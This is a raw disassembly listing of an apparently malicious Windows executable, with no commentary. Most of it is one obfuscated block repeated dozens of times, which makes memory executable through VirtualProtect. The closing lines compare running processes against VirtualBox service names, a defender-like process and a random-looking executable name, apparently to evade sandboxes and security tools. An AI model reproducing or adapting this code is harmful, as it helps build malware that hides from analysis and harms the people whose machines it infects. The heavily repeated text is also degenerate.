push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push 0x419820
push 0x40
mov ebp, 0x418e03
mov ebx, ebp
mov ebp, 0x4187a8
sub ebx, ebp
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
add ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
mov ebp, 0x418e03
mov edi, ebp
mov ebp, 0x4187a8
sub edi, ebp
sub ebx, edi
push ebx
push dword [0x419810]
call sub.KERNEL32.dll_VirtualProtect
push dword [0x419860]
call fcn.0040d0c8
push 8
push 0x4111a0
lea eax, [0x419860]
push eax
push 4
call fcn.0040d017
push dword [0x419860]
call fcn.0040d130
mov ebp, dword [0x419864]
mov edx, str.drlwszvxbeo.exe
lea ecx, [ebp + 8]
call fcn.0040c008
push dword [0x419860]
call fcn.0040d130
mov ebp, dword [0x419864]
mov edx, str.vboxservice.exe
lea ecx, [ebp + 8]
call fcn.0040c008
push dword [0x419860]
call fcn.0040d130
mov ebp, dword [0x419864]
mov edx, str.vboxtray.exe
lea ecx, [ebp + 8]
call fcn.0040c008
push dword [0x419860]
call fcn.0040d130
mov ebp, dword [0x419864]
mov edx, str.defenderdaemon.exe
lea ecx, [ebp + 8]
call fcn.0040c008
push dword [0x419860]
